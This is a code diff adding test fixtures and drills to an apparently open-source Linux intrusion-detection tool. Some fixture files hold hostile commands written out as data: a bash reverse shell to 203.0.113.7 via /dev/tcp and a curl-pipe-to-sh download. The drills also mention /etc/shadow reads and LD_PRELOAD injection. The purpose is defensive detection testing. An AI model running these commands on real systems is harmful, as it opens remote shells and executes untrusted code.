||||||
|
comm = _comm_from_detail(detail)
|
||||||
|
if comm:
|
||||||
|
return Verdict(REVIEW, "executable or RWX memory mapping — verify runtime/JIT use",
|
||||||
|
suggest=_allow_comm_suggestion(
|
||||||
|
alert, cfg, "memory_obfuscation_allow_comms", comm,
|
||||||
|
"expected executable memory runtime"))
|
||||||
|
return Verdict(REVIEW, "executable or RWX memory mapping — verify runtime/JIT use")
|
||||||
|
|
||||||
if sig == "persistence":
|
if sig == "persistence":
|
||||||
return Verdict(REVIEW, "a persistence-relevant file changed — confirm intent")
|
return Verdict(REVIEW, "a persistence-relevant file changed — confirm intent")
|
||||||
|
|
||||||
|
|
|
||||||
9
tests/fixtures/sids/100001-tmp-exec.json
vendored
Normal file
9
tests/fixtures/sids/100001-tmp-exec.json
vendored
Normal file
|
|
@ -0,0 +1,9 @@
|
||||||
|
{
|
||||||
|
"event": "exec",
|
||||||
|
"pid": 4242,
|
||||||
|
"ppid": 4100,
|
||||||
|
"uid": 1000,
|
||||||
|
"parent_comm": "bash",
|
||||||
|
"filename": "/tmp/.payload",
|
||||||
|
"argv": []
|
||||||
|
}
|
||||||
9
tests/fixtures/sids/100002-reverse-shell-argv.json
vendored
Normal file
9
tests/fixtures/sids/100002-reverse-shell-argv.json
vendored
Normal file
|
|
@ -0,0 +1,9 @@
|
||||||
|
{
|
||||||
|
"event": "exec",
|
||||||
|
"pid": 4243,
|
||||||
|
"ppid": 4100,
|
||||||
|
"uid": 1000,
|
||||||
|
"parent_comm": "sshd",
|
||||||
|
"filename": "/usr/bin/bash",
|
||||||
|
"argv": ["-c", "bash -i >& /dev/tcp/203.0.113.7/443 0>&1"]
|
||||||
|
}
|
||||||
9
tests/fixtures/sids/100003-web-shell-spawn.json
vendored
Normal file
9
tests/fixtures/sids/100003-web-shell-spawn.json
vendored
Normal file
|
|
@ -0,0 +1,9 @@
|
||||||
|
{
|
||||||
|
"event": "exec",
|
||||||
|
"pid": 4244,
|
||||||
|
"ppid": 812,
|
||||||
|
"uid": 33,
|
||||||
|
"parent_comm": "nginx",
|
||||||
|
"filename": "/usr/bin/sh",
|
||||||
|
"argv": ["-c", "id"]
|
||||||
|
}
|
||||||
9
tests/fixtures/sids/100004-curl-pipe-sh.json
vendored
Normal file
9
tests/fixtures/sids/100004-curl-pipe-sh.json
vendored
Normal file
|
|
@ -0,0 +1,9 @@
|
||||||
|
{
|
||||||
|
"event": "exec",
|
||||||
|
"pid": 4245,
|
||||||
|
"ppid": 4100,
|
||||||
|
"uid": 1000,
|
||||||
|
"parent_comm": "bash",
|
||||||
|
"filename": "/usr/bin/curl",
|
||||||
|
"argv": ["-fsSL", "http://203.0.113.7/x.sh | sh"]
|
||||||
|
}
|
||||||
9
tests/fixtures/sids/100060-mprotect-rwx.json
vendored
Normal file
9
tests/fixtures/sids/100060-mprotect-rwx.json
vendored
Normal file
|
|
@ -0,0 +1,9 @@
|
||||||
|
{
|
||||||
|
"event": "syscall",
|
||||||
|
"pid": 4250,
|
||||||
|
"ppid": 4100,
|
||||||
|
"uid": 1000,
|
||||||
|
"comm": "loader",
|
||||||
|
"syscall": "mprotect",
|
||||||
|
"args": [140000000, 4096, 7]
|
||||||
|
}
|
||||||
9
tests/fixtures/sids/100061-mmap-rwx.json
vendored
Normal file
9
tests/fixtures/sids/100061-mmap-rwx.json
vendored
Normal file
|
|
@ -0,0 +1,9 @@
|
||||||
|
{
|
||||||
|
"event": "syscall",
|
||||||
|
"pid": 4251,
|
||||||
|
"ppid": 4100,
|
||||||
|
"uid": 1000,
|
||||||
|
"comm": "loader",
|
||||||
|
"syscall": "mmap",
|
||||||
|
"args": [0, 4096, 7]
|
||||||
|
}
|
||||||
10
tests/fixtures/sids/100062-memfd-create.json
vendored
Normal file
10
tests/fixtures/sids/100062-memfd-create.json
vendored
Normal file
|
|
@ -0,0 +1,10 @@
|
||||||
|
{
|
||||||
|
"event": "syscall",
|
||||||
|
"pid": 4252,
|
||||||
|
"ppid": 4100,
|
||||||
|
"uid": 1000,
|
||||||
|
"comm": "loader",
|
||||||
|
"syscall": "memfd_create",
|
||||||
|
"args": [0, 0, 0],
|
||||||
|
"text": "payload"
|
||||||
|
}
|
||||||
9
tests/fixtures/sids/100063-ptrace-attach.json
vendored
Normal file
9
tests/fixtures/sids/100063-ptrace-attach.json
vendored
Normal file
|
|
@ -0,0 +1,9 @@
|
||||||
|
{
|
||||||
|
"event": "syscall",
|
||||||
|
"pid": 4253,
|
||||||
|
"ppid": 4100,
|
||||||
|
"uid": 1000,
|
||||||
|
"comm": "debugger",
|
||||||
|
"syscall": "ptrace",
|
||||||
|
"args": [16, 5000, 0]
|
||||||
|
}
|
||||||
9
tests/fixtures/sids/100064-seccomp.json
vendored
Normal file
9
tests/fixtures/sids/100064-seccomp.json
vendored
Normal file
|
|
@ -0,0 +1,9 @@
|
||||||
|
{
|
||||||
|
"event": "syscall",
|
||||||
|
"pid": 4254,
|
||||||
|
"ppid": 4100,
|
||||||
|
"uid": 1000,
|
||||||
|
"comm": "sandbox",
|
||||||
|
"syscall": "seccomp",
|
||||||
|
"args": [0, 0, 0]
|
||||||
|
}
|
||||||
9
tests/fixtures/sids/100065-process-vm-readv.json
vendored
Normal file
9
tests/fixtures/sids/100065-process-vm-readv.json
vendored
Normal file
|
|
@ -0,0 +1,9 @@
|
||||||
|
{
|
||||||
|
"event": "syscall",
|
||||||
|
"pid": 4255,
|
||||||
|
"ppid": 4100,
|
||||||
|
"uid": 1000,
|
||||||
|
"comm": "scanner",
|
||||||
|
"syscall": "process_vm_readv",
|
||||||
|
"args": [5000, 0, 0]
|
||||||
|
}
|
||||||
9
tests/fixtures/sids/100066-mlock.json
vendored
Normal file
9
tests/fixtures/sids/100066-mlock.json
vendored
Normal file
|
|
@ -0,0 +1,9 @@
|
||||||
|
{
|
||||||
|
"event": "syscall",
|
||||||
|
"pid": 4256,
|
||||||
|
"ppid": 4100,
|
||||||
|
"uid": 1000,
|
||||||
|
"comm": "secretstore",
|
||||||
|
"syscall": "mlock",
|
||||||
|
"args": [140000000, 4096, 0]
|
||||||
|
}
|
||||||
314
tests/sid_drills.py
Normal file
314
tests/sid_drills.py
Normal file
|
|
@ -0,0 +1,314 @@
|
||||||
|
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||||
|
"""Safe, offline drills that emit non-event built-in SIDs."""
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import os
|
||||||
|
import tempfile
|
||||||
|
from collections.abc import Callable
|
||||||
|
from dataclasses import dataclass, field
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
from enodia_sentinel import fim, pkgdb, posture, rootcheck
|
||||||
|
from enodia_sentinel.alert import Alert
|
||||||
|
from enodia_sentinel.config import Config
|
||||||
|
from enodia_sentinel.detectors import (
|
||||||
|
credential_access,
|
||||||
|
deleted_exe,
|
||||||
|
egress,
|
||||||
|
input_snooper,
|
||||||
|
ld_preload,
|
||||||
|
memory_obfuscation,
|
||||||
|
new_listener,
|
||||||
|
new_suid,
|
||||||
|
persistence,
|
||||||
|
reverse_shell,
|
||||||
|
stealth_network,
|
||||||
|
)
|
||||||
|
from enodia_sentinel.system import MemoryMap, Socket, SystemState
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class FakeProc:
|
||||||
|
pid: int
|
||||||
|
comm: str = "bash"
|
||||||
|
cmdline: str = ""
|
||||||
|
exe: str = ""
|
||||||
|
environ: dict = field(default_factory=dict)
|
||||||
|
_stdio_inode: int | None = None
|
||||||
|
ppid: int = 1
|
||||||
|
uid: int = 0
|
||||||
|
cwd: str = "/"
|
||||||
|
fd_targets: dict = field(default_factory=dict)
|
||||||
|
memory_maps: list = field(default_factory=list)
|
||||||
|
|
||||||
|
def stdio_socket_inode(self):
|
||||||
|
return self._stdio_inode
|
||||||
|
|
||||||
|
|
||||||
|
def _cfg() -> Config:
|
||||||
|
return Config()
|
||||||
|
|
||||||
|
|
||||||
|
def _rootcheck_alerts(**views) -> list[Alert]:
|
||||||
|
saved = {
|
||||||
|
name: getattr(rootcheck, name)
|
||||||
|
for name in (
|
||||||
|
"proc_pids", "alive_pids", "proc_modules", "sys_live_modules",
|
||||||
|
"procnet_listen_ports", "procnet_udp_ports",
|
||||||
|
"procnet_raw_protocols", "procnet_protocol_kinds", "ps_pids",
|
||||||
|
"proc_pid_exists", "promiscuous_interfaces", "module_taints",
|
||||||
|
"kernel_taint",
|
||||||
|
)
|
||||||
|
}
|
||||||
|
try:
|
||||||
|
rootcheck.proc_pids = lambda: views.get("proc_pids", {1})
|
||||||
|
rootcheck.alive_pids = lambda cap: views.get("alive_pids", {1})
|
||||||
|
rootcheck.proc_modules = lambda: views.get("proc_modules", {"ext4"})
|
||||||
|
rootcheck.sys_live_modules = lambda: views.get("sys_live_modules", {"ext4"})
|
||||||
|
rootcheck.procnet_listen_ports = lambda: views.get("procnet_ports", set())
|
||||||
|
rootcheck.procnet_udp_ports = lambda: views.get("procnet_udp_ports", set())
|
||||||
|
rootcheck.procnet_raw_protocols = lambda: views.get(
|
||||||
|
"procnet_raw_protocols", set())
|
||||||
|
rootcheck.procnet_protocol_kinds = lambda: views.get(
|
||||||
|
"procnet_protocol_kinds", set())
|
||||||
|
rootcheck.ps_pids = lambda: views.get("ps_pids", {1})
|
||||||
|
rootcheck.proc_pid_exists = lambda pid: pid in views.get(
|
||||||
|
"existing_pids", {1})
|
||||||
|
rootcheck.promiscuous_interfaces = lambda: views.get("promisc", [])
|
||||||
|
rootcheck.module_taints = lambda: views.get("module_taints", {})
|
||||||
|
rootcheck.kernel_taint = lambda: views.get("kernel_taint", 0)
|
||||||
|
return list(rootcheck.run(_cfg(), views.get("state", SystemState())))
|
||||||
|
finally:
|
||||||
|
for name, fn in saved.items():
|
||||||
|
setattr(rootcheck, name, fn)
|
||||||
|
|
||||||
|
|
||||||
|
def _fim_diff_alerts() -> list[Alert]:
|
||||||
|
return list(fim.diff_alerts({
|
||||||
|
"modified": [("/etc/ssh/sshd_config", ["sha256"])],
|
||||||
|
"added": ["/etc/systemd/system/evil.service"],
|
||||||
|
"removed": ["/etc/profile.d/hardening.sh"],
|
||||||
|
}))
|
||||||
|
|
||||||
|
|
||||||
|
def _pkgdb_tamper() -> list[Alert]:
|
||||||
|
with tempfile.TemporaryDirectory() as d:
|
||||||
|
cfg = _cfg()
|
||||||
|
cfg.log_dir = Path(d)
|
||||||
|
pkgdb.check(cfg, _fingerprint=lambda: "FP1", _last_tx=lambda: None)
|
||||||
|
alert = pkgdb.check(cfg, _fingerprint=lambda: "FP2", _last_tx=lambda: None)
|
||||||
|
return [alert] if alert else []
|
||||||
|
|
||||||
|
|
||||||
|
def _siglevel() -> list[Alert]:
|
||||||
|
with tempfile.NamedTemporaryFile("w", delete=False) as fh:
|
||||||
|
fh.write("[options]\nSigLevel = Never\n")
|
||||||
|
path = fh.name
|
||||||
|
try:
|
||||||
|
alert = pkgdb.siglevel_alert(path)
|
||||||
|
return [alert] if alert else []
|
||||||
|
finally:
|
||||||
|
os.unlink(path)
|
||||||
|
|
||||||
|
|
||||||
|
def _pkgverify() -> list[Alert]:
|
||||||
|
cfg = _cfg()
|
||||||
|
saved = pkgdb.siglevel_alert
|
||||||
|
pkgdb.siglevel_alert = lambda *a, **k: None
|
||||||
|
try:
|
||||||
|
alerts = pkgdb.verify_alerts(
|
||||||
|
cfg,
|
||||||
|
_installed=lambda: [("openssh", "9.0")],
|
||||||
|
_verify=lambda name, version: {
|
||||||
|
"pkg": f"{name}-{version}",
|
||||||
|
"cached": "/cache/pkg.tar.zst",
|
||||||
|
"checked": 1,
|
||||||
|
"mismatched": [("/usr/bin/ssh", "dead", "beef")],
|
||||||
|
},
|
||||||
|
)
|
||||||
|
return [a for a in alerts if a.sid == pkgdb.SID_PKGVERIFY]
|
||||||
|
finally:
|
||||||
|
pkgdb.siglevel_alert = saved
|
||||||
|
|
||||||
|
|
||||||
|
def _fim_pkg() -> list[Alert]:
|
||||||
|
saved = fim.pacman_verify
|
||||||
|
fim.pacman_verify = lambda timeout=600: [
|
||||||
|
("openssh", "/usr/bin/ssh", "SHA256 checksum mismatch"),
|
||||||
|
]
|
||||||
|
try:
|
||||||
|
return list(fim.pacman_verify_alerts())
|
||||||
|
finally:
|
||||||
|
fim.pacman_verify = saved
|
||||||
|
|
||||||
|
|
||||||
|
def _persistence() -> list[Alert]:
|
||||||
|
with tempfile.TemporaryDirectory() as d:
|
||||||
|
path = Path(d) / "evil.service"
|
||||||
|
path.write_text("[Service]\nExecStart=/tmp/payload\n")
|
||||||
|
cfg = _cfg()
|
||||||
|
cfg.watch_persistence = (str(path),)
|
||||||
|
state = SystemState(persist_since=path.stat().st_mtime - 1)
|
||||||
|
return list(persistence.detect(state, cfg))
|
||||||
|
|
||||||
|
|
||||||
|
def _hidden_proc() -> list[Alert]:
|
||||||
|
pid = os.getpid()
|
||||||
|
return _rootcheck_alerts(proc_pids={1}, alive_pids={1, pid},
|
||||||
|
existing_pids={1}, ps_pids={1})
|
||||||
|
|
||||||
|
|
||||||
|
def _ps_hidden_proc() -> list[Alert]:
|
||||||
|
return _rootcheck_alerts(proc_pids={1, 4242}, alive_pids={1, 4242},
|
||||||
|
existing_pids={1, 4242}, ps_pids={1})
|
||||||
|
|
||||||
|
|
||||||
|
DRILLS: dict[int, Callable[[], list[Alert]]] = {
|
||||||
|
100010: lambda: list(reverse_shell.detect(
|
||||||
|
SystemState(
|
||||||
|
processes=[FakeProc(pid=100, comm="bash", _stdio_inode=999,
|
||||||
|
cmdline="bash -i")],
|
||||||
|
sockets=[Socket("ESTAB", "127.0.0.1:55", "9.9.9.9:443",
|
||||||
|
999, "bash", 100)],
|
||||||
|
),
|
||||||
|
_cfg(),
|
||||||
|
)),
|
||||||
|
100011: lambda: list(ld_preload.detect(
|
||||||
|
SystemState(processes=[
|
||||||
|
FakeProc(pid=200, comm="sleep",
|
||||||
|
environ={"LD_PRELOAD": "/tmp/evil.so"}),
|
||||||
|
]),
|
||||||
|
_cfg(),
|
||||||
|
)),
|
||||||
|
100012: lambda: list(deleted_exe.detect(
|
||||||
|
SystemState(processes=[
|
||||||
|
FakeProc(pid=300, comm="x", exe="/tmp/x (deleted)"),
|
||||||
|
]),
|
||||||
|
_cfg(),
|
||||||
|
)),
|
||||||
|
100013: lambda: list(new_listener.detect(
|
||||||
|
SystemState(
|
||||||
|
sockets=[Socket("LISTEN", "0.0.0.0:31337", "0.0.0.0:0",
|
||||||
|
1, "hoxha", 340)],
|
||||||
|
listener_baseline=set(),
|
||||||
|
),
|
||||||
|
_cfg(),
|
||||||
|
)),
|
||||||
|
100014: lambda: list(new_suid.detect(
|
||||||
|
SystemState(suid_binaries=["/tmp/evil", "/usr/bin/sudo"],
|
||||||
|
suid_baseline={"/usr/bin/sudo"}),
|
||||||
|
_cfg(),
|
||||||
|
)),
|
||||||
|
100015: _persistence,
|
||||||
|
100016: lambda: list(egress.detect(
|
||||||
|
SystemState(sockets=[
|
||||||
|
Socket("ESTAB", "10.0.0.2:5000", "8.8.8.8:443",
|
||||||
|
1, "python3", 400),
|
||||||
|
]),
|
||||||
|
_cfg(),
|
||||||
|
)),
|
||||||
|
100017: _fim_diff_alerts,
|
||||||
|
100018: _fim_diff_alerts,
|
||||||
|
100019: _fim_diff_alerts,
|
||||||
|
100020: _fim_pkg,
|
||||||
|
100021: _pkgdb_tamper,
|
||||||
|
100022: _hidden_proc,
|
||||||
|
100023: lambda: _rootcheck_alerts(
|
||||||
|
proc_modules={"ext4"}, sys_live_modules={"ext4", "evil_mod"}),
|
||||||
|
100024: lambda: _rootcheck_alerts(
|
||||||
|
procnet_ports={22, 31337},
|
||||||
|
state=SystemState(sockets=[
|
||||||
|
Socket("LISTEN", "0.0.0.0:22", "0.0.0.0:0", 10, "sshd", 1),
|
||||||
|
])),
|
||||||
|
100025: lambda: _rootcheck_alerts(promisc=["eth0"]),
|
||||||
|
100026: _siglevel,
|
||||||
|
100027: _pkgverify,
|
||||||
|
100028: lambda: _rootcheck_alerts(
|
||||||
|
proc_modules={"ext4"}, sys_live_modules={"ext4", "diamorphine"}),
|
||||||
|
100029: lambda: _rootcheck_alerts(
|
||||||
|
proc_modules={"vendor_gpu"}, sys_live_modules={"vendor_gpu"},
|
||||||
|
module_taints={"vendor_gpu": "OE"}),
|
||||||
|
100030: lambda: _rootcheck_alerts(kernel_taint=(1 << 12) | (1 << 13)),
|
||||||
|
100031: lambda: _rootcheck_alerts(
|
||||||
|
procnet_udp_ports={53, 4444},
|
||||||
|
state=SystemState(sockets=[
|
||||||
|
Socket("UNCONN", "0.0.0.0:53", "0.0.0.0:0", 11, "dnsmasq", 2),
|
||||||
|
])),
|
||||||
|
100032: lambda: list(input_snooper.detect(
|
||||||
|
SystemState(processes=[
|
||||||
|
FakeProc(pid=320, comm="hoxha",
|
||||||
|
fd_targets={"7": "/dev/input/event3"}),
|
||||||
|
]),
|
||||||
|
_cfg(),
|
||||||
|
)),
|
||||||
|
100033: lambda: list(credential_access.detect(
|
||||||
|
SystemState(processes=[
|
||||||
|
FakeProc(pid=330, comm="hoxha", fd_targets={"4": "/etc/shadow"}),
|
||||||
|
]),
|
||||||
|
_cfg(),
|
||||||
|
)),
|
||||||
|
100034: lambda: _rootcheck_alerts(
|
||||||
|
procnet_raw_protocols={1, 58},
|
||||||
|
state=SystemState(sockets=[
|
||||||
|
Socket("UNCONN", "0.0.0.0:ipv6-icmp", "0.0.0.0:*",
|
||||||
|
12, "monitor", 3, "raw"),
|
||||||
|
])),
|
||||||
|
100035: lambda: _rootcheck_alerts(procnet_raw_protocols={1}),
|
||||||
|
100036: lambda: list(stealth_network.detect(
|
||||||
|
SystemState(sockets=[
|
||||||
|
Socket("ESTAB", "10.0.0.2:5000", "8.8.8.8:4443",
|
||||||
|
1, "hoxha", 340, "sctp"),
|
||||||
|
]),
|
||||||
|
_cfg(),
|
||||||
|
)),
|
||||||
|
100037: lambda: _rootcheck_alerts(
|
||||||
|
procnet_protocol_kinds={"sctp", "packet"},
|
||||||
|
state=SystemState(sockets=[
|
||||||
|
Socket("UNCONN", "*:eth0", "*", 13, "tcpdump", 4, "packet"),
|
||||||
|
])),
|
||||||
|
100038: _ps_hidden_proc,
|
||||||
|
100039: lambda: list(memory_obfuscation.detect(
|
||||||
|
SystemState(processes=[
|
||||||
|
FakeProc(pid=351, comm="packer",
|
||||||
|
memory_maps=[MemoryMap(0x3000, 0x4000, "rwxp", "")]),
|
||||||
|
]),
|
||||||
|
_cfg(),
|
||||||
|
)),
|
||||||
|
100040: lambda: list(posture.sshd_findings({"permitrootlogin": "yes"})),
|
||||||
|
100041: lambda: list(posture.sshd_findings({})),
|
||||||
|
100042: lambda: list(posture.sshd_findings({
|
||||||
|
"permitemptypasswords": "yes", "passwordauthentication": "no"})),
|
||||||
|
100043: lambda: list(posture.sudoers_findings([
|
||||||
|
("/etc/sudoers", "alice ALL=(ALL) NOPASSWD: ALL\n", 0o440),
|
||||||
|
])),
|
||||||
|
100044: lambda: list(posture.sudoers_findings([
|
||||||
|
("/etc/sudoers", "Defaults !authenticate\n", 0o440),
|
||||||
|
])),
|
||||||
|
100045: lambda: list(posture.sudoers_findings([
|
||||||
|
("/etc/sudoers.d/bad", "root ALL=(ALL) ALL\n", 0o646),
|
||||||
|
])),
|
||||||
|
100046: lambda: list(posture.path_findings([
|
||||||
|
("/usr/local/bin", 0o40777, 0),
|
||||||
|
])),
|
||||||
|
100047: lambda: list(posture.sensitive_file_findings([
|
||||||
|
("/etc/shadow", 0o100644),
|
||||||
|
])),
|
||||||
|
100048: lambda: list(memory_obfuscation.detect(
|
||||||
|
SystemState(processes=[
|
||||||
|
FakeProc(pid=352, comm="bash",
|
||||||
|
memory_maps=[
|
||||||
|
MemoryMap(0x5000, 0x6000, "r-xp",
|
||||||
|
"/usr/lib/libhide.so"),
|
||||||
|
]),
|
||||||
|
]),
|
||||||
|
_cfg(),
|
||||||
|
)),
|
||||||
|
100050: lambda: list(posture.systemd_findings([
|
||||||
|
posture.UnitFact("foo.service", "/etc/systemd/system/foo.service",
|
||||||
|
0o100664, True, ("/usr/bin/foo",)),
|
||||||
|
])),
|
||||||
|
100051: lambda: list(posture.systemd_findings([
|
||||||
|
posture.UnitFact("evil.service", "/etc/systemd/system/evil.service",
|
||||||
|
0o100644, True, ("/tmp/payload",)),
|
||||||
|
])),
|
||||||
|
}
|
||||||
107
tests/test_enrich.py
Normal file
107
tests/test_enrich.py
Normal file
|
|
@ -0,0 +1,107 @@
|
||||||
|
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||||
|
"""Tests for post-alert snapshot enrichment."""
|
||||||
|
import tempfile
|
||||||
|
import unittest
|
||||||
|
from dataclasses import dataclass
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
from enodia_sentinel import enrich
|
||||||
|
from enodia_sentinel.config import Config
|
||||||
|
from enodia_sentinel.system import SystemState
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class FakeProc:
|
||||||
|
pid: int
|
||||||
|
comm: str
|
||||||
|
exe: str = ""
|
||||||
|
ppid: int = 0
|
||||||
|
uid: int = 0
|
||||||
|
|
||||||
|
|
||||||
|
class TestEnrichment(unittest.TestCase):
|
||||||
|
def setUp(self):
|
||||||
|
self.dir = tempfile.TemporaryDirectory()
|
||||||
|
self.tmp = Path(self.dir.name)
|
||||||
|
self.cfg = Config()
|
||||||
|
self.cfg.log_dir = self.tmp
|
||||||
|
|
||||||
|
def tearDown(self):
|
||||||
|
self.dir.cleanup()
|
||||||
|
|
||||||
|
def test_process_remote_file_and_integrity_context(self):
|
||||||
|
exe = self.tmp / "payload"
|
||||||
|
exe.write_text("stage-one")
|
||||||
|
watched = self.tmp / "persistence.service"
|
||||||
|
watched.write_text("[Service]\nExecStart=/tmp/payload\n")
|
||||||
|
self.cfg.fim_baseline.write_text("{}")
|
||||||
|
(self.tmp / "pkgdb-anchor.json").write_text("{}")
|
||||||
|
|
||||||
|
state = SystemState(processes=[
|
||||||
|
FakeProc(1, "systemd"),
|
||||||
|
FakeProc(10, "nginx", ppid=1),
|
||||||
|
FakeProc(42, "payload", exe=str(exe), ppid=10),
|
||||||
|
])
|
||||||
|
report = {
|
||||||
|
"alerts": [
|
||||||
|
{"signature": "reverse_shell",
|
||||||
|
"detail": "pid=42 peer=[8.8.8.8:4444]",
|
||||||
|
"key": "rsh:42"},
|
||||||
|
{"signature": "persistence",
|
||||||
|
"detail": f"persistence file modified: {watched}",
|
||||||
|
"key": "k:persistence"},
|
||||||
|
],
|
||||||
|
"processes": [
|
||||||
|
{"pid": 42, "comm": "payload", "exe": str(exe), "ppid": 10},
|
||||||
|
],
|
||||||
|
}
|
||||||
|
|
||||||
|
out = enrich.build(
|
||||||
|
report, state, self.cfg, lineage={42, 10, 1},
|
||||||
|
recent_files=[str(watched)],
|
||||||
|
owner=lambda p: "testpkg 1.0-1" if p == str(exe) else None,
|
||||||
|
)
|
||||||
|
|
||||||
|
self.assertEqual(out["processes"][0]["package_owner"], "testpkg 1.0-1")
|
||||||
|
self.assertRegex(out["processes"][0]["exe_sha256"], r"^[0-9a-f]{64}$")
|
||||||
|
self.assertEqual(out["processes"][0]["parent_chain"][0]["pid"], 10)
|
||||||
|
self.assertEqual(out["remotes"][0],
|
||||||
|
{"ip": "8.8.8.8", "classification": "public"})
|
||||||
|
files = {f["path"]: f for f in out["files"]}
|
||||||
|
self.assertTrue(files[str(watched)]["exists"])
|
||||||
|
self.assertIn(str(watched), out["recent_writes"])
|
||||||
|
self.assertEqual(out["integrity"]["fim_baseline"]["status"], "present")
|
||||||
|
self.assertEqual(out["integrity"]["pkgdb_anchor"]["status"], "present")
|
||||||
|
|
||||||
|
def test_private_remote_and_missing_file_context(self):
|
||||||
|
state = SystemState(processes=[])
|
||||||
|
report = {
|
||||||
|
"alerts": [
|
||||||
|
{"signature": "egress",
|
||||||
|
"detail": "python connected to 10.1.2.3:443 and /gone",
|
||||||
|
"key": "k"},
|
||||||
|
],
|
||||||
|
"processes": [],
|
||||||
|
}
|
||||||
|
out = enrich.build(report, state, self.cfg, owner=lambda _p: None)
|
||||||
|
self.assertEqual(out["remotes"][0]["classification"], "private")
|
||||||
|
self.assertFalse(out["files"][0]["exists"])
|
||||||
|
|
||||||
|
def test_text_summary_is_compact(self):
|
||||||
|
text = enrich.format_text({
|
||||||
|
"processes": [{"pid": 42, "comm": "payload",
|
||||||
|
"package_owner": "pkg", "exe_sha256": "a" * 64,
|
||||||
|
"parent_chain": [{"pid": 10, "comm": "nginx"}]}],
|
||||||
|
"remotes": [{"ip": "8.8.8.8", "classification": "public"}],
|
||||||
|
"files": [],
|
||||||
|
"integrity": {"fim_baseline": {"status": "present"},
|
||||||
|
"pkgdb_anchor": {"status": "missing"},
|
||||||
|
"rootcheck": {"enabled": True}},
|
||||||
|
})
|
||||||
|
self.assertIn("process pid=42", text)
|
||||||
|
self.assertIn("remote 8.8.8.8: public", text)
|
||||||
|
self.assertIn("integrity:", text)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main()
|
||||||
|
|
@ -70,11 +70,43 @@ class TestRespondPlan(unittest.TestCase):
|
||||||
self.assertIn(["systemctl", "disable", "--now", "bad.service"], commands)
|
self.assertIn(["systemctl", "disable", "--now", "bad.service"], commands)
|
||||||
self.assertIn(["mv", "--", "/tmp/suidsh",
|
self.assertIn(["mv", "--", "/tmp/suidsh",
|
||||||
"/tmp/suidsh.enodia-quarantine"], commands)
|
"/tmp/suidsh.enodia-quarantine"], commands)
|
||||||
|
self.assertIn(["enodia-sentinel", "check", "--json"], commands)
|
||||||
|
self.assertIn(["enodia-sentinel", "watchdog", "--url",
|
||||||
|
"https://<dashboard-host>:8787", "--token", "<token>",
|
||||||
|
"--insecure-tls"], commands)
|
||||||
self.assertNotIn(["mv", "--", "/etc/systemd/system/bad.service",
|
self.assertNotIn(["mv", "--", "/etc/systemd/system/bad.service",
|
||||||
"/etc/systemd/system/bad.service.enodia-quarantine"],
|
"/etc/systemd/system/bad.service.enodia-quarantine"],
|
||||||
commands)
|
commands)
|
||||||
self.assertEqual(plan["actions"][0]["category"], "evidence")
|
self.assertEqual(plan["actions"][0]["category"], "evidence")
|
||||||
|
|
||||||
|
def test_package_recovery_adds_signed_package_verify(self):
|
||||||
|
iid = incident.record(self.cfg, "alert-2.log", [
|
||||||
|
_alert("pkg_signature_mismatch",
|
||||||
|
"signed package mismatch /usr/bin/ssh",
|
||||||
|
sid=100022, sev=Severity.CRITICAL),
|
||||||
|
], lineage=set(), when=1001.0, host="h")
|
||||||
|
(self.tmp / "alert-2.json").write_text(json.dumps({
|
||||||
|
"time": "2026-06-10T10:01:00-07:00",
|
||||||
|
"host": "h",
|
||||||
|
"severity": "CRITICAL",
|
||||||
|
"incident_id": iid,
|
||||||
|
"alerts": [
|
||||||
|
{"signature": "pkg_signature_mismatch", "sid": 100022,
|
||||||
|
"detail": "signed package mismatch /usr/bin/ssh",
|
||||||
|
"pids": []},
|
||||||
|
],
|
||||||
|
"processes": [],
|
||||||
|
}))
|
||||||
|
self.cfg.dashboard_url = "https://100.64.0.2:8787/"
|
||||||
|
plan = respond.build_plan(respond.load_bundle(self.cfg, iid), self.cfg)
|
||||||
|
commands = [a["command"] for a in plan["actions"]]
|
||||||
|
self.assertIn(["enodia-sentinel", "fim-check", "--packages"], commands)
|
||||||
|
self.assertIn(["enodia-sentinel", "pkgdb-verify"], commands)
|
||||||
|
self.assertIn(["pacman", "-Qo", "/usr/bin/ssh"], commands)
|
||||||
|
self.assertIn(["enodia-sentinel", "watchdog", "--url",
|
||||||
|
"https://100.64.0.2:8787", "--token", "<token>",
|
||||||
|
"--insecure-tls"], commands)
|
||||||
|
|
||||||
def test_cli_json(self):
|
def test_cli_json(self):
|
||||||
os.environ["ENODIA_LOG_DIR"] = str(self.tmp)
|
os.environ["ENODIA_LOG_DIR"] = str(self.tmp)
|
||||||
try:
|
try:
|
||||||
|
|
|
||||||
|
|
@ -111,6 +111,7 @@ class TestSchemaContracts(unittest.TestCase):
|
||||||
"incident_id": str,
|
"incident_id": str,
|
||||||
"alerts": list,
|
"alerts": list,
|
||||||
"processes": list,
|
"processes": list,
|
||||||
|
"enrichment": dict,
|
||||||
})
|
})
|
||||||
self.assertEqual(data["alerts"][0]["signature"], "reverse_shell")
|
self.assertEqual(data["alerts"][0]["signature"], "reverse_shell")
|
||||||
|
|
||||||
|
|
|
||||||
73
tests/test_sid_coverage.py
Normal file
73
tests/test_sid_coverage.py
Normal file
|
|
@ -0,0 +1,73 @@
|
||||||
|
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||||
|
"""Emission-based coverage: every built-in SID has a fixture or drill.
|
||||||
|
|
||||||
|
Event-rule SIDs are covered by JSON fixtures under tests/fixtures/sids/
|
||||||
|
(replayable by operators via `enodia-sentinel rules test <file>`); the other
|
||||||
|
engines are covered by drills in tests/sid_drills.py. This module replays
|
||||||
|
and runs all of them for real and asserts the emitted sids match the
|
||||||
|
registry in enodia_sentinel.sids.
|
||||||
|
"""
|
||||||
|
import json
|
||||||
|
import unittest
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
from enodia_sentinel import ruleops, sids
|
||||||
|
from enodia_sentinel.config import Config
|
||||||
|
from tests.sid_drills import DRILLS
|
||||||
|
|
||||||
|
FIXTURE_DIR = Path(__file__).resolve().parent / "fixtures" / "sids"
|
||||||
|
|
||||||
|
|
||||||
|
def fixture_sids() -> dict[int, set[int]]:
|
||||||
|
"""Replay every fixture; map declared sid to sids actually emitted."""
|
||||||
|
